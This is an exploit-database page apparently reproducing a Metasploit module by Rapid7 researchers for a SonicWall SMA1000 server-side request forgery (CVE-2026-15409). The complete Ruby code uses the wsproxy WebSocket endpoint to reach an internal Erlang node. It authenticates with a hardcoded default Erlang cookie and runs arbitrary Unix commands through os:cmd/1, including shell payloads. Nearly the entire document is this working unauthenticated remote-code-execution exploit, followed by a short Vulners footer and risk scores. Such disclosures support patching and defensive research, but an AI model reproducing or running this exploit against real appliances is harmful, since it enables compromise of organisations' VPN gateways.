Lucene search
+L

📄 SonicWall SMA1000 Server-Side Request Forgery / Remote Command Execution

🗓️ 11 Aug 2026 00:00:00Reported by Ryan Emmons, Rapid7, Deral HeilandType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 15 Views

SonicWall SMA1000 SSRF via Erlang distribution protocol enables unauthenticated remote command execution.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'base64'
    require 'digest'
    require 'securerandom'
    require 'timeout'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      ETF_VERSION = 131
      SMALL_INTEGER_EXT = 97
      INTEGER_EXT = 98
      ATOM_EXT = 100
      REFERENCE_EXT = 101
      PID_EXT = 103
      SMALL_TUPLE_EXT = 104
      NIL_EXT = 106
      STRING_EXT = 107
      LIST_EXT = 108
      BINARY_EXT = 109
      ATOM_UTF8_EXT = 118
      SMALL_ATOM_UTF8_EXT = 119
      NEW_PID_EXT = 88
      NEWER_REFERENCE_EXT = 90
    
      DFLAG_EXTENDED_REFERENCES = 0x00000004
      DFLAG_FUN_TAGS = 0x00000010
      DFLAG_NEW_FUN_TAGS = 0x00000080
      DFLAG_EXTENDED_PIDS_PORTS = 0x00000100
      DFLAG_EXPORT_PTR_TAG = 0x00000200
      DFLAG_BIT_BINARIES = 0x00000400
      DFLAG_NEW_FLOATS = 0x00000800
      DFLAG_UTF8_ATOMS = 0x00010000
      DFLAG_MAP_TAG = 0x00020000
      DFLAG_BIG_CREATION = 0x00040000
      DFLAG_HANDSHAKE_23 = 0x01000000
    
      DIST_FLAGS = DFLAG_EXTENDED_REFERENCES |
                   DFLAG_FUN_TAGS |
                   DFLAG_NEW_FUN_TAGS |
                   DFLAG_EXTENDED_PIDS_PORTS |
                   DFLAG_EXPORT_PTR_TAG |
                   DFLAG_BIT_BINARIES |
                   DFLAG_NEW_FLOATS |
                   DFLAG_UTF8_ATOMS |
                   DFLAG_MAP_TAG |
                   DFLAG_BIG_CREATION |
                   DFLAG_HANDSHAKE_23
    
      SmaReadyFrame = "\x0b\x00\x00\x00\x00".b
    
      Pid = Struct.new(:node, :ident, :serial, :creation)
      Reference = Struct.new(:node, :ident, :creation)
    
      # Adapts the SMA Connect Agent WebSocket protocol to the socket-like
      # sendall/recv interface required by the Erlang distribution implementation.
      #
      # WebSocket framing and connection handling are provided by Rex. This adapter
      # handles SMA-specific Base64 encoding, the initial ready frame, and buffering
      # for exact-length Erlang reads.
      class SmaErlangWebSocketAdapter
        def initialize(wsock, read_timeout, verbose_proc = nil)
          @wsock = wsock
          @read_timeout = read_timeout
          @verbose_proc = verbose_proc
          @recv_buffer = ''.b
          consume_ready_frame
        end
    
        def sendall(data)
          # The SMA Connect Agent protocol sends base64 data in WebSocket text frames.
          @wsock.put_wstext(Base64.strict_encode64(data))
        end
    
        def recv(size)
          while @recv_buffer.bytesize < size
            message = read_message
            break if message.nil?
    
            @recv_buffer << message
          end
    
          result = @recv_buffer.byteslice(0, size) || ''.b
          @recv_buffer = @recv_buffer.byteslice(size..) || ''.b
          result
        end
    
        def close
          @wsock.wsclose
        rescue StandardError
          nil
        end
    
        private
    
        def consume_ready_frame
          message = read_message(timeout: 1, allow_timeout: true)
          return if message.nil?
    
          if message == MetasploitModule::SmaReadyFrame
            @verbose_proc&.call('Received SMA ready frame')
          else
            @recv_buffer << message
          end
        end
    
        def read_message(timeout: @read_timeout, allow_timeout: false)
          result = catch(:sma_websocket_message) do
            Timeout.timeout(timeout) do
              # Rex wsloop handles WebSocket fragmentation, masking, ping/pong, and
              # close frames. Throwing from the callback returns one complete message
              # without allowing wsloop to close the still-active WebSocket.
              @wsock.wsloop do |data, _data_type|
                throw :sma_websocket_message, data.to_s.b
              end
            end
    
            nil
          end
    
          result
        rescue Timeout::Error
          return nil if allow_timeout
    
          raise Rex::TimeoutError, 'Timed out waiting for WebSocket data'
        end
      end
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution',
            'Description' => %q{
              This module exploits a Server-Side Request Forgery (SSRF)
              vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service to
              access the internal Erlang distribution service.
    
              After authenticating using the known Erlang distribution cookie, the
              module invokes os:cmd/1 through Erlang RPC to execute arbitrary Unix
              commands in the context of the vulnerable SMA service.
    
              The check method performs a benign Erlang node RPC rather than
              executing an operating system command.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Ryan Emmons', # Original Python PoC research and development
              'Deral Heiland', # Metasploit module testing and development
              'Rapid7 Vulnerability Research'
            ],
            'References' => [
              ['CVE', '2026-15409'],
              ['URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008'],
              ['URL', 'https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/']
            ],
            'DisclosureDate' => '2026-07-14',
            'Privileged' => false,
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true,
              'FETCH_WRITABLE_DIR' => '/tmp',
              'WfsDelay' => 10
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'SMA WorkPlace base path', '/']),
            OptString.new('WSHOST', [true, 'Internal host supplied to wsproxy', '0.0.0.0']),
            OptPort.new('WSPORT', [true, 'Internal Erlang distribution service port', 1050]),
            OptString.new('BMID', [true, 'Bookmark identifier beginning with -3389', '-3389c1b25ccd']),
            OptString.new('SERVICE_TYPE', [true, 'wsproxy service type', 'SSH']),
            OptString.new('ORIGIN', [false, 'WebSocket Origin header; generated automatically when empty', '']),
            OptString.new('WS_USER_AGENT', [true, 'WebSocket User-Agent header', 'SMA Connect Agent']),
            OptString.new('ERLANG_COOKIE', [true, 'Erlang distribution cookie', '10ecad5b446e86864832904cd439b6b70262']),
            OptString.new('NODE_NAME', [false, 'Erlang client node name; generated automatically when empty', '']),
            OptInt.new('WS_READ_TIMEOUT', [true, 'Seconds to wait for WebSocket protocol data', 10])
          ]
        )
      end
    
      def websocket_uri
        query = "bmID=#{Rex::Text.uri_encode(datastore['BMID'])}" \
                "&serviceType=#{Rex::Text.uri_encode(datastore['SERVICE_TYPE'])}" \
                "&host=#{Rex::Text.uri_encode(datastore['WSHOST'])}" \
                "&port=#{datastore['WSPORT']}"
    
        "#{normalize_uri(target_uri.path, 'wsproxy')}?#{query}"
      end
    
      def websocket_origin
        return datastore['ORIGIN'] unless datastore['ORIGIN'].blank?
    
        scheme = ssl ? 'https' : 'http'
        default_port = ssl ? 443 : 80
        authority = vhost
        authority = "#{authority}:#{rport}" unless rport == default_port
        "#{scheme}://#{authority}"
      end
    
      def erlang_node_name
        return datastore['NODE_NAME'] unless datastore['NODE_NAME'].blank?
    
        "#{Rex::Text.rand_text_numeric(6)}@127.0.0.1"
      end
    
      def connect_sma_websocket
        vprint_status("Connecting to #{websocket_uri}")
        vprint_status("Origin: #{websocket_origin}")
        vprint_status("Internal destination: #{datastore['WSHOST']}:#{datastore['WSPORT']}")
    
        wsock = connect_ws(
          'method' => 'GET',
          'uri' => websocket_uri,
          'headers' => {
            'Origin' => websocket_origin,
            'User-Agent' => datastore['WS_USER_AGENT'],
            'Sec-WebSocket-Protocol' => 'binary'
          }
        )
    
        vprint_good('WebSocket upgrade succeeded')
        SmaErlangWebSocketAdapter.new(wsock, datastore['WS_READ_TIMEOUT'], proc { |message| vprint_status(message) })
      end
    
      def recv_exact(sock, size)
        buffer = ''.b
        while buffer.bytesize < size
          chunk = sock.recv(size - buffer.bytesize)
          raise EOFError, 'Peer closed the connection' if chunk.nil? || chunk.empty?
    
          buffer << chunk
        end
        buffer
      end
    
      def send_handshake_packet(sock, payload)
        sock.sendall([payload.bytesize].pack('n') + payload)
      end
    
      def recv_handshake_packet(sock)
        size = recv_exact(sock, 2).unpack1('n')
        recv_exact(sock, size)
      end
    
      def send_dist_packet(sock, payload)
        sock.sendall([payload.bytesize].pack('N') + payload)
      end
    
      def recv_dist_packet(sock)
        size = recv_exact(sock, 4).unpack1('N')
        return ''.b if size.zero?
    
        recv_exact(sock, size)
      end
    
      def erlang_digest(cookie, challenge)
        Digest::MD5.digest("#{cookie}#{challenge}")
      end
    
      def parse_challenge(payload)
        case payload.byteslice(0, 1)
        when 'N'
          raise ArgumentError, 'Short new-style Erlang challenge packet' if payload.bytesize < 19
    
          flags, challenge, creation, name_length = payload.byteslice(1, 18).unpack('Q>NNn')
          name = payload.byteslice(19, name_length).to_s
          [flags, challenge, creation, name]
        when 'n'
          raise ArgumentError, 'Short old-style Erlang challenge packet' if payload.bytesize < 11
    
          _version, flags, challenge = payload.byteslice(1, 10).unpack('nNN')
          name = payload.byteslice(11..).to_s
          [flags, challenge, 0, name]
        else
          raise ArgumentError, "Unexpected Erlang challenge tag: #{payload.byteslice(0, 1).inspect}"
        end
      end
    
      def etf_atom(value)
        data = value.to_s.b
        if data.bytesize <= 255
          [SMALL_ATOM_UTF8_EXT, data.bytesize].pack('CC') + data
        else
          [ATOM_UTF8_EXT, data.bytesize].pack('Cn') + data
        end
      end
    
      def etf_small_int(value)
        raise ArgumentError, 'Small integer is outside the range 0..255' unless value.between?(0, 255)
    
        [SMALL_INTEGER_EXT, value].pack('CC')
      end
    
      def etf_string(value)
        data = value.to_s.b
        raise ArgumentError, 'ETF STRING_EXT exceeds 65535 bytes' if data.bytesize > 65_535
    
        [STRING_EXT, data.bytesize].pack('Cn') + data
      end
    
      def etf_nil
        [NIL_EXT].pack('C')
      end
    
      def etf_tuple(*items)
        raise ArgumentError, 'Tuple arity exceeds SMALL_TUPLE_EXT capacity' if items.length > 255
    
        [SMALL_TUPLE_EXT, items.length].pack('CC') + items.join
      end
    
      def etf_list(items)
        [LIST_EXT, items.length].pack('CN') + items.join + etf_nil
      end
    
      def etf_pid(pid)
        [PID_EXT].pack('C') + etf_atom(pid.node) + [pid.ident, pid.serial, pid.creation].pack('NNC')
      end
    
      def decode_etf(data, offset = 0)
        raise ArgumentError, 'Unexpected end of ETF data' if offset >= data.bytesize
    
        tag = data.getbyte(offset)
        offset += 1
        return decode_etf(data, offset) if tag == ETF_VERSION
    
        case tag
        when SMALL_INTEGER_EXT
          [data.getbyte(offset), offset + 1]
        when INTEGER_EXT
          [data.byteslice(offset, 4).unpack1('l>'), offset + 4]
        when ATOM_EXT, ATOM_UTF8_EXT
          length = data.byteslice(offset, 2).unpack1('n')
          offset += 2
          [data.byteslice(offset, length).to_s, offset + length]
        when SMALL_ATOM_UTF8_EXT
          length = data.getbyte(offset)
          offset += 1
          [data.byteslice(offset, length).to_s, offset + length]
        when STRING_EXT
          length = data.byteslice(offset, 2).unpack1('n')
          offset += 2
          [data.byteslice(offset, length).to_s, offset + length]
        when BINARY_EXT
          length = data.byteslice(offset, 4).unpack1('N')
          offset += 4
          [data.byteslice(offset, length).to_s.b, offset + length]
        when NIL_EXT
          [[], offset]
        when SMALL_TUPLE_EXT
          arity = data.getbyte(offset)
          offset += 1
          values = []
          arity.times do
            value, offset = decode_etf(data, offset)
            values << value
          end
          [values.freeze, offset]
        when LIST_EXT
          length = data.byteslice(offset, 4).unpack1('N')
          offset += 4
          values = []
          length.times do
            value, offset = decode_etf(data, offset)
            values << value
          end
          tail, offset = decode_etf(data, offset)
          values << [:tail, tail] unless tail == []
          [values, offset]
        when PID_EXT
          node, offset = decode_etf(data, offset)
          ident, serial = data.byteslice(offset, 8).unpack('NN')
          offset += 8
          creation = data.getbyte(offset)
          [Pid.new(node, ident, serial, creation), offset + 1]
        when NEW_PID_EXT
          node, offset = decode_etf(data, offset)
          ident, serial, creation = data.byteslice(offset, 12).unpack('NNN')
          [Pid.new(node, ident, serial, creation), offset + 12]
        when REFERENCE_EXT
          node, offset = decode_etf(data, offset)
          ident = data.byteslice(offset, 4).unpack1('N')
          offset += 4
          creation = data.getbyte(offset)
          [Reference.new(node, ident, creation), offset + 1]
        when NEWER_REFERENCE_EXT
          length = data.byteslice(offset, 2).unpack1('n')
          offset += 2
          node, offset = decode_etf(data, offset)
          creation = data.byteslice(offset, 4).unpack1('N')
          offset += 4
          identifiers = []
          length.times do
            identifiers << data.byteslice(offset, 4).unpack1('N')
            offset += 4
          end
          [[:reference, node, creation, identifiers], offset]
        else
          raise ArgumentError, "Unsupported ETF tag #{tag} at offset #{offset - 1}"
        end
      end
    
      def rpc_call(sock, node_name, erlang_module, function, arguments)
        sender_pid = Pid.new(node_name, 1, 0, 0)
        request = etf_tuple(
          etf_pid(sender_pid),
          etf_tuple(
            etf_atom('call'),
            etf_atom(erlang_module),
            etf_atom(function),
            etf_list(arguments),
            etf_atom('user')
          )
        )
        control = etf_tuple(
          etf_small_int(6),
          etf_pid(sender_pid),
          etf_atom('nocookie'),
          etf_atom('rex')
        )
    
        send_dist_packet(sock, [112, ETF_VERSION].pack('CC') + control + [ETF_VERSION].pack('C') + request)
    
        loop do
          packet = recv_dist_packet(sock)
          next if packet.empty?
          raise "Unexpected distribution packet type #{packet.getbyte(0)}" unless packet.getbyte(0) == 112
    
          control_term, offset = decode_etf(packet, 1)
          message_term, = decode_etf(packet, offset)
    
          next unless control_term.is_a?(Array) && control_term[0] == 2
          next unless message_term.is_a?(Array) && message_term.length == 2 && message_term[0] == 'rex'
    
          return message_term[1]
        end
      end
    
      def erlang_connect_and_rpc(erlang_module, function, arguments)
        sock = connect_sma_websocket
        node_name = erlang_node_name
        node_name_data = node_name.b
    
        vprint_status("Using Erlang node name #{node_name}")
        name_packet = 'N'.b + [DIST_FLAGS, 0, node_name_data.bytesize].pack('Q>Nn') + node_name_data
        send_handshake_packet(sock, name_packet)
    
        status = recv_handshake_packet(sock)
        raise "Unexpected Erlang status packet: #{status.inspect}" unless status.start_with?('s')
    
        status_text = status.byteslice(1..).to_s
        vprint_status("Erlang distribution status: #{status_text}")
        raise "Erlang connection rejected: #{status_text}" unless %w[ok ok_simultaneous].include?(status_text)
    
        challenge_packet = recv_handshake_packet(sock)
        peer_flags, peer_challenge, peer_creation, peer_name = parse_challenge(challenge_packet)
        vprint_good("Reached Erlang node #{peer_name}")
        vprint_status(format('Peer flags: 0x%x', peer_flags))
        vprint_status("Peer creation: #{peer_creation}")
    
        my_challenge = SecureRandom.random_number(0x1_0000_0000)
        reply = 'r'.b + [my_challenge].pack('N') + erlang_digest(datastore['ERLANG_COOKIE'], peer_challenge)
        send_handshake_packet(sock, reply)
    
        acknowledgement = recv_handshake_packet(sock)
        raise "Unexpected Erlang acknowledgement: #{acknowledgement.inspect}" unless acknowledgement.start_with?('a')
        raise 'Erlang cookie authentication failed' unless acknowledgement.byteslice(1..) == erlang_digest(datastore['ERLANG_COOKIE'], my_challenge)
    
        vprint_good('Erlang cookie authentication succeeded')
        result = rpc_call(sock, node_name, erlang_module, function, arguments)
        [result, peer_name]
      ensure
        sock&.close
      end
    
      def format_term(value)
        case value
        when String
          value
        when Array
          "{#{value.map { |item| format_term(item) }.join(', ')}}"
        when Pid
          "#Pid<#{value.node}.#{value.ident}.#{value.serial}>"
        when Reference
          "#Ref<#{value.node}.#{value.ident}>"
        else
          value.to_s
        end
      end
    
      def check
        result, peer_name = erlang_connect_and_rpc('erlang', 'node', [])
        node_result = format_term(result)
        return CheckCode::Unknown('The Erlang RPC completed but returned an empty node name') if node_result.blank?
    
        CheckCode::Appears("Authenticated to internal Erlang node #{peer_name}; erlang:node/0 returned #{node_result}")
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        details = e.http_response ? "HTTP #{e.http_response.code}" : e.message
        CheckCode::Safe("The wsproxy WebSocket upgrade was rejected: #{details}")
      rescue Rex::ConnectionError, Rex::TimeoutError, EOFError => e
        CheckCode::Unknown("Connection failed while testing the internal Erlang service: #{e.message}")
      rescue RuntimeError, ArgumentError => e
        if e.message.include?('cookie authentication failed')
          CheckCode::Appears("The internal Erlang service was reached, but the configured cookie was rejected: #{e.message}")
        else
          CheckCode::Unknown("The internal protocol returned an unexpected result: #{e.message}")
        end
      end
    
      def execute_command(command, _opts = {})
        print_status("Executing command through Erlang os:cmd/1: #{command}")
        result, peer_name = erlang_connect_and_rpc('os', 'cmd', [etf_string(command)])
        output = format_term(result)
        print_good("RPC completed through #{peer_name}")
        print_line(output) unless output.blank?
        output
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
      rescue Rex::ConnectionError, EOFError => e
        fail_with(Failure::Unreachable, "Connection failed: #{e.message}")
      rescue RuntimeError, ArgumentError => e
        fail_with(Failure::UnexpectedReply, e.message)
      end
    
      def exploit
        execute_command(payload.encoded)
      rescue Rex::TimeoutError => e
        # A reverse or bind command shell can keep Erlang os:cmd/1 blocked even
        # after Metasploit has successfully registered the new session. Only
        # suppress the transport timeout when the framework confirms a session.
        raise e unless session_created?
    
        print_good('Session created; ignoring the expected Erlang RPC/WebSocket timeout from the still-running command shell.')
        vprint_status("WebSocket timeout after session creation: #{e.message}")
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 3.110
EPSS0.74218
SSVC
15